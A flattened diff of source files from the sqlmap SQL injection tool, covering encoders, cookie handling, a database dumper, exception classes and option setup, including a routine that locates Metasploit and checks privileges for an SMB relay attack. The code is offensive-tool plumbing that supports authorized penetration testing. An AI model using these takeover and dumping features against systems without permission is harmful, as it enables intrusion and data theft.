asciiTbl.extend(range(64, 91))
asciiTbl.extend(range(96, 123))
return asciiTbl
def searchEnvPath(fileName):
envPaths = os.environ["PATH"]
result = None
if IS_WIN:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
if result:
break
return result
def sanitizeCookie(cookieStr, warn=False):
if cookieStr:
result = ""
changed = False
for part in cookieStr.split(';'):
index = part.find('=') + 1
if index > 0:
name = part[:index - 1].strip()
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
if value != part[index:]:
changed = True
result += ";%s=%s" % (name, value)
elif part.strip().lower() != "secure":
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
else:
result += ";secure"
if result.startswith(';'):
result = result[1:]
elif result.startswith('%3B'):
result = result[3:]
if changed and warn:
warnMsg = "cookie is provided in HTTP unsafe format containing one "
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
logger.warn(warnMsg)
return result
else:
return None

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,22 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import md5 import md5
import sha import sha
import struct import struct
import urllib import urllib
def base64decode(string): def base64decode(string):
return string.decode("base64") return string.decode("base64")
def base64encode(string): def base64encode(string):
return string.encode("base64")[:-1] return string.encode("base64")[:-1]
def hexdecode(string): def hexdecode(string):
string = string.lower() string = string.lower()
@@ -46,41 +41,39 @@ def hexdecode(string):
return string.decode("hex") return string.decode("hex")
def hexencode(string): def hexencode(string):
return string.encode("hex") return string.encode("hex")
def md5hash(string): def md5hash(string):
return md5.new(string).hexdigest() return md5.new(string).hexdigest()
def orddecode(string): def orddecode(string):
packedString = struct.pack("!"+"I" * len(string), *string) packedString = struct.pack("!"+"I" * len(string), *string)
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)]) return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
def ordencode(string): def ordencode(string):
return tuple([ord(char) for char in string]) return tuple([ord(char) for char in string])
def sha1hash(string): def sha1hash(string):
return sha.new(string).hexdigest() return sha.new(string).hexdigest()
def urldecode(string): def urldecode(string):
if not string: result = None
return
doublePercFreeString = string.replace("%%", "__DPERC__") if string:
unquotedString = urllib.unquote_plus(doublePercFreeString) result = urllib.unquote_plus(string)
unquotedString = unquotedString.replace("__DPERC__", "%%")
return unquotedString return result
def urlencode(string, safe=":/?%&=", convall=False):
result = None
def urlencode(string, safe=":/?%&="): if string is None:
if not string: return result
return
return urllib.quote(string, safe) if convall:
result = urllib.quote(string)
else:
result = urllib.quote(string, safe)
return result

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
from lib.core.settings import LOGGER from lib.core.settings import LOGGER

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.exception import sqlmapDataException from lib.core.exception import sqlmapDataException
class advancedDict(dict): class advancedDict(dict):
""" """
This class defines the sqlmap object, inheriting from Python data This class defines the sqlmap object, inheriting from Python data
@@ -45,7 +43,6 @@ class advancedDict(dict):
# After initialisation, setting attributes # After initialisation, setting attributes
# is the same as setting an item # is the same as setting an item
def __getattr__(self, item): def __getattr__(self, item):
""" """
Maps values to attributes Maps values to attributes
@@ -57,7 +54,6 @@ class advancedDict(dict):
except KeyError: except KeyError:
raise sqlmapDataException, "Unable to access item '%s'" % item raise sqlmapDataException, "Unable to access item '%s'" % item
def __setattr__(self, item, value): def __setattr__(self, item, value):
""" """
Maps attributes to values Maps attributes to values

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,17 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re
import os import os
import re
from lib.core.common import dataToDumpFile from lib.core.common import dataToDumpFile
from lib.core.common import filePathToString
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
class Dump: class Dump:
""" """
This class defines methods used to parse and output the results This class defines methods used to parse and output the results
@@ -44,19 +40,10 @@ class Dump:
self.__outputFile = None self.__outputFile = None
self.__outputFP = None self.__outputFP = None
def __write(self, data, n=True):
def __write(self, data, n=True, rFile=False):
if n: if n:
print data print data
self.__outputFP.write("%s\n" % data) self.__outputFP.write("%s\n" % data)
# TODO: do not duplicate queries output in the text file, check
# before if the data is already within the text file content
if rFile and conf.rFile:
rFile = filePathToString(conf.rFile)
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
rFileFP.write(data)
rFileFP.close()
else: else:
print data, print data,
self.__outputFP.write("%s " % data) self.__outputFP.write("%s " % data)
@@ -65,41 +52,41 @@ class Dump:
conf.loggedToOut = True conf.loggedToOut = True
def setOutputFile(self): def setOutputFile(self):
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep) self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
self.__outputFP = open(self.__outputFile, "a") self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data, sort=True):
def string(self, header, data):
if isinstance(data, (list, tuple, set)): if isinstance(data, (list, tuple, set)):
self.lister(header, data) self.lister(header, data, sort)
return return
data = str(data)
if data: if data:
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t") data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
data = data.replace("__START__", "").replace("__STOP__", "") data = data.replace("__START__", "").replace("__STOP__", "")
data = data.replace("__DEL__", ", ") data = data.replace("__DEL__", ", ")
if "\n" in data: if "\n" in data:
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header) self.__write("%s:\n---\n%s---\n" % (header, data))
else: else:
self.__write("%s: '%s'\n" % (header, data)) self.__write("%s: '%s'\n" % (header, data))
else: else:
self.__write("%s:\tNone\n" % header) self.__write("%s:\tNone\n" % header)
def lister(self, header, elements, sort=True):
def lister(self, header, elements):
if elements: if elements:
self.__write("%s [%d]:" % (header, len(elements))) self.__write("%s [%d]:" % (header, len(elements)))
try: if sort:
elements = set(elements) try:
elements = list(elements) elements = set(elements)
elements.sort(key=lambda x: x.lower()) elements = list(elements)
except: elements.sort(key=lambda x: x.lower())
pass except:
pass
for element in elements: for element in elements:
if isinstance(element, str): if isinstance(element, str):
@@ -110,7 +97,6 @@ class Dump:
if elements: if elements:
self.__write("") self.__write("")
def userSettings(self, header, userSettings, subHeader): def userSettings(self, header, userSettings, subHeader):
self.__areAdmins = set() self.__areAdmins = set()
@@ -138,8 +124,12 @@ class Dump:
self.__write(" %s: %s" % (subHeader, setting)) self.__write(" %s: %s" % (subHeader, setting))
print print
def dbTables(self, dbTables): def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
return
maxlength = 0 maxlength = 0
for tables in dbTables.values(): for tables in dbTables.values():
@@ -166,7 +156,6 @@ class Dump:
self.__write("+%s+\n" % lines) self.__write("+%s+\n" % lines)
def dbTableColumns(self, tableColumns): def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items(): for db, tables in tableColumns.items():
if not db: if not db:
@@ -212,7 +201,6 @@ class Dump:
self.__write("+%s+%s+\n" % (lines1, lines2)) self.__write("+%s+%s+\n" % (lines1, lines2))
def dbTableValues(self, tableValues): def dbTableValues(self, tableValues):
db = tableValues["__infos__"]["db"] db = tableValues["__infos__"]["db"]
if not db: if not db:
@@ -238,8 +226,8 @@ class Dump:
for column in columns: for column in columns:
if column != "__infos__": if column != "__infos__":
info = tableValues[column] info = tableValues[column]
lines = "-" * (int(info["length"]) + 2) lines = "-" * (int(info["length"]) + 2)
separator += "+%s" % lines separator += "+%s" % lines
separator += "+" separator += "+"
@@ -254,19 +242,21 @@ class Dump:
for column in columns: for column in columns:
if column != "__infos__": if column != "__infos__":
info = tableValues[column] info = tableValues[column]
maxlength = int(info["length"]) maxlength = int(info["length"])
blank = " " * (maxlength - len(column)) blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False) self.__write("| %s%s" % (column, blank), n=False)
if not conf.multipleTargets and field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column) dataToDumpFile(dumpFP, "\"%s\"" % column)
else: elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % column) dataToDumpFile(dumpFP, "\"%s\"," % column)
field += 1 field += 1
self.__write("|\n%s" % separator) self.__write("|\n%s" % separator)
if not conf.multipleTargets: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
@@ -285,14 +275,15 @@ class Dump:
blank = " " * (maxlength - len(value)) blank = " " * (maxlength - len(value))
self.__write("| %s%s" % (value, blank), n=False) self.__write("| %s%s" % (value, blank), n=False)
if field == fields: if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % value) dataToDumpFile(dumpFP, "\"%s\"" % value)
else: elif not conf.multipleTargets:
dataToDumpFile(dumpFP, "\"%s\"," % value) dataToDumpFile(dumpFP, "\"%s\"," % value)
field += 1 field += 1
self.__write("|") self.__write("|")
if not conf.multipleTargets: if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n") dataToDumpFile(dumpFP, "\n")
@@ -304,7 +295,6 @@ class Dump:
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName)) logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
# object to manage how to print the retrieved queries output to # object to manage how to print the retrieved queries output to
# standard output and sessions file # standard output and sessions file
dumper = Dump() dumper = Dump()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION
import sys
from lib.core.settings import VERSION from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -33,78 +31,66 @@ from lib.core.settings import VERSION_STRING
class sqlmapConnectionException(Exception): class sqlmapConnectionException(Exception):
pass pass
class sqlmapDataException(Exception): class sqlmapDataException(Exception):
pass pass
class sqlmapFilePathException(Exception): class sqlmapFilePathException(Exception):
pass pass
class sqlmapGenericException(Exception): class sqlmapGenericException(Exception):
pass pass
class sqlmapMissingDependence(Exception):
pass
class sqlmapMissingMandatoryOptionException(Exception): class sqlmapMissingMandatoryOptionException(Exception):
pass pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNoneDataException(Exception): class sqlmapNoneDataException(Exception):
pass pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapRegExprException(Exception): class sqlmapRegExprException(Exception):
pass pass
class sqlmapSyntaxException(Exception): class sqlmapSyntaxException(Exception):
pass pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapMissingPrivileges(Exception):
pass
class sqlmapNotVulnerableException(Exception):
pass
class sqlmapThreadException(Exception): class sqlmapThreadException(Exception):
pass pass
class sqlmapUndefinedMethod(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception): class sqlmapUnsupportedDBMSException(Exception):
pass pass
class sqlmapUnsupportedFeatureException(Exception): class sqlmapUnsupportedFeatureException(Exception):
pass pass
class sqlmapValueException(Exception): class sqlmapValueException(Exception):
pass pass
def unhandledException(): def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail " errMsg += "the command line and the following text and send by e-mail "
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will " errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0] errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s" % sys.platform errMsg += "Operating system: %s" % PLATFORM
return errMsg return errMsg
exceptionsTuple = ( exceptionsTuple = (
sqlmapConnectionException, sqlmapConnectionException,
sqlmapDataException, sqlmapDataException,
sqlmapFilePathException, sqlmapFilePathException,
sqlmapGenericException, sqlmapGenericException,
sqlmapMissingDependence,
sqlmapMissingMandatoryOptionException, sqlmapMissingMandatoryOptionException,
sqlmapNoneDataException, sqlmapNoneDataException,
sqlmapRegExprException, sqlmapRegExprException,

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,22 +22,23 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import cookielib import cookielib
import ctypes
import difflib
import logging import logging
import os import os
import re import re
import socket import socket
import time
import urllib2 import urllib2
import urlparse import urlparse
from ConfigParser import ConfigParser
from lib.core.common import getFileType
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import randomStr from lib.core.common import sanitizeCookie
from lib.core.common import readInput
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -46,13 +47,21 @@ from lib.core.data import paths
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapMissingDependence
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.optiondict import optDict from lib.core.optiondict import optDict
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
from lib.core.settings import SITE from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
from lib.core.update import update from lib.core.update import update
from lib.parse.configfile import configFileParser from lib.parse.configfile import configFileParser
@@ -60,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler from lib.request.proxy import ProxyHTTPSHandler
from lib.utils.google import Google from lib.utils.google import Google
authHandler = urllib2.BaseHandler() authHandler = urllib2.BaseHandler()
proxyHandler = urllib2.BaseHandler() proxyHandler = urllib2.BaseHandler()
def __urllib2Opener(): def __urllib2Opener():
""" """
This function creates the urllib2 OpenerDirector. This function creates the urllib2 OpenerDirector.
@@ -76,12 +83,14 @@ def __urllib2Opener():
debugMsg = "creating HTTP requests opener object" debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = cookielib.LWPCookieJar() if conf.dropSetCookie:
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj)) opener = urllib2.build_opener(proxyHandler, authHandler)
else:
conf.cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
urllib2.install_opener(opener) urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls): def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r") fp = open(reqFile, "r")
@@ -90,7 +99,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
reqResList = fread.split("======================================================") reqResList = fread.split("======================================================")
port = None
scheme = None
for request in reqResList: for request in reqResList:
if scheme is None:
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I): if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue continue
@@ -124,10 +143,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
getPostReq = True getPostReq = True
# GET parameters
elif "?" in line and "=" in line and ": " not in line: elif "?" in line and "=" in line and ": " not in line:
data = line data = line
params = True params = True
# Cookie and Host headers
elif ": " in line: elif ": " in line:
key, value = line.split(": ", 1) key, value = line.split(": ", 1)
@@ -136,15 +157,21 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
elif key.lower() == "host": elif key.lower() == "host":
host = value host = value
# POST parameters
elif method is not None and method == "POST" and "=" in line:
data = line
params = True
if getPostReq and params: if getPostReq and params:
if not url.startswith("http"): if not url.startswith("http"):
url = "http://%s%s" % (host, url) url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not kb.targetUrls or url not in addedTargetUrls: if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie )) kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url) addedTargetUrls.add(url)
def __setMultipleTargets(): def __setMultipleTargets():
""" """
Define a configuration parameter if we are running in multiple target Define a configuration parameter if we are running in multiple target
@@ -189,7 +216,6 @@ def __setMultipleTargets():
infoMsg += "testable requests from the targets list" infoMsg += "testable requests from the targets list"
logger.info(infoMsg) logger.info(infoMsg)
def __setGoogleDorking(): def __setGoogleDorking():
""" """
This function checks if the way to request testable hosts is through This function checks if the way to request testable hosts is through
@@ -237,6 +263,186 @@ def __setGoogleDorking():
errMsg += "have GET parameters to test for SQL injection" errMsg += "have GET parameters to test for SQL injection"
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof:
return
debugMsg = "setting the takeover out-of-band functionality"
logger.debug(debugMsg)
msfEnvPathExists = False
if IS_WIN:
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
warnMsg += "on the native Windows Ruby interpreter. Please "
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
warnMsg += "out-of-band features. sqlmap will now continue "
warnMsg += "without calling any takeover feature"
logger.warn(warnMsg)
conf.osPwn = None
conf.osSmb = None
conf.osBof = None
return
if conf.osSmb:
isAdmin = False
if "linux" in PLATFORM or "darwin" in PLATFORM:
isAdmin = os.geteuid()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True
elif IS_WIN:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
isAdmin = True
else:
warnMsg = "sqlmap is not able to check if you are running it "
warnMsg += "as an Administrator accout on this platform. "
warnMsg += "sqlmap will assume that you are an Administrator "
warnMsg += "which is mandatory for the SMB relay attack to "
warnMsg += "work properly"
logger.warn(warnMsg)
isAdmin = True
if isAdmin is not True:
errMsg = "you need to run sqlmap as an Administrator/root "
errMsg += "user if you want to perform a SMB relay attack "
errMsg += "because it will need to listen on a user-specified "
errMsg += "SMB TCP port for incoming connection attempts"
raise sqlmapMissingPrivileges, errMsg
if conf.msfPath:
condition = os.path.exists(os.path.normpath(conf.msfPath))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
if condition:
debugMsg = "provided Metasploit Framework 3 path "
debugMsg += "'%s' is valid" % conf.msfPath
logger.debug(debugMsg)
msfEnvPathExists = True
else:
warnMsg = "the provided Metasploit Framework 3 path "
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
warnMsg += "be that the path does not exists or that one "
warnMsg += "or more of the needed Metasploit executables "
warnMsg += "within msfcli, msfconsole, msfencode and "
warnMsg += "msfpayload do not exist"
logger.warn(warnMsg)
else:
warnMsg = "you did not provide the local path where Metasploit "
warnMsg += "Framework 3 is installed"
logger.warn(warnMsg)
if not msfEnvPathExists:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths"
logger.warn(warnMsg)
envPaths = os.environ["PATH"]
if IS_WIN:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
if condition:
infoMsg = "Metasploit Framework 3 has been found "
infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg)
msfEnvPathExists = True
conf.msfPath = envPath
break
if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg
def __setWriteFile():
if not conf.wFile:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
raise sqlmapFilePathException, errMsg
if not conf.dFile:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
raise sqlmapMissingMandatoryOptionException, errMsg
conf.wFileType = getFileType(conf.wFile)
def __setUnionTech():
if conf.uTech is None:
conf.uTech = "NULL"
return
debugMsg = "setting the UNION query SQL injection detection technique"
logger.debug(debugMsg)
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
infoMsg = "resetting the UNION query detection technique to "
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
logger.info(infoMsg)
conf.uTech = "NULL"
else:
debugMsg = "setting UNION query detection technique to "
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
def __setOS():
"""
Force the back-end DBMS operating system option.
"""
if not conf.os:
return
debugMsg = "forcing back-end DBMS operating system to user defined value"
logger.debug(debugMsg)
conf.os = conf.os.lower()
if conf.os not in SUPPORTED_OS:
errMsg = "you provided an unsupported back-end DBMS operating "
errMsg += "system. The supported DBMS operating systems for OS "
errMsg += "and file system access are Linux and Windows. "
errMsg += "If you do not know the back-end DBMS underlying OS, "
errMsg += "do not provide it and sqlmap will fingerprint it for "
errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setDBMS(): def __setDBMS():
""" """
@@ -250,13 +456,15 @@ def __setDBMS():
logger.debug(debugMsg) logger.debug(debugMsg)
conf.dbms = conf.dbms.lower() conf.dbms = conf.dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp: if dbmsRegExp:
conf.dbms = dbmsRegExp.group(1) conf.dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)] kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms not in SUPPORTED_DBMS: if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management " errMsg = "you provided an unsupported back-end database management "
@@ -266,12 +474,10 @@ def __setDBMS():
errMsg += "fingerprint it for you." errMsg += "fingerprint it for you."
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException, errMsg
def __setThreads(): def __setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0: if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1 conf.threads = 1
def __setHTTPProxy(): def __setHTTPProxy():
""" """
Check and set the HTTP proxy to pass by all HTTP requests. Check and set the HTTP proxy to pass by all HTTP requests.
@@ -282,8 +488,6 @@ def __setHTTPProxy():
if not conf.proxy: if not conf.proxy:
return return
parseTargetUrl()
debugMsg = "setting the HTTP proxy to pass by all HTTP requests" debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -305,17 +509,16 @@ def __setHTTPProxy():
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2: # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
# can't be tunneled over an HTTP proxy natively by Python urllib2 # can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
# standard library # urllib2 standard library
if conf.scheme == "https": if conf.scheme == "https":
proxyHandler = ProxyHTTPSHandler(__proxyString) proxyHandler = ProxyHTTPSHandler(__proxyString)
else: else:
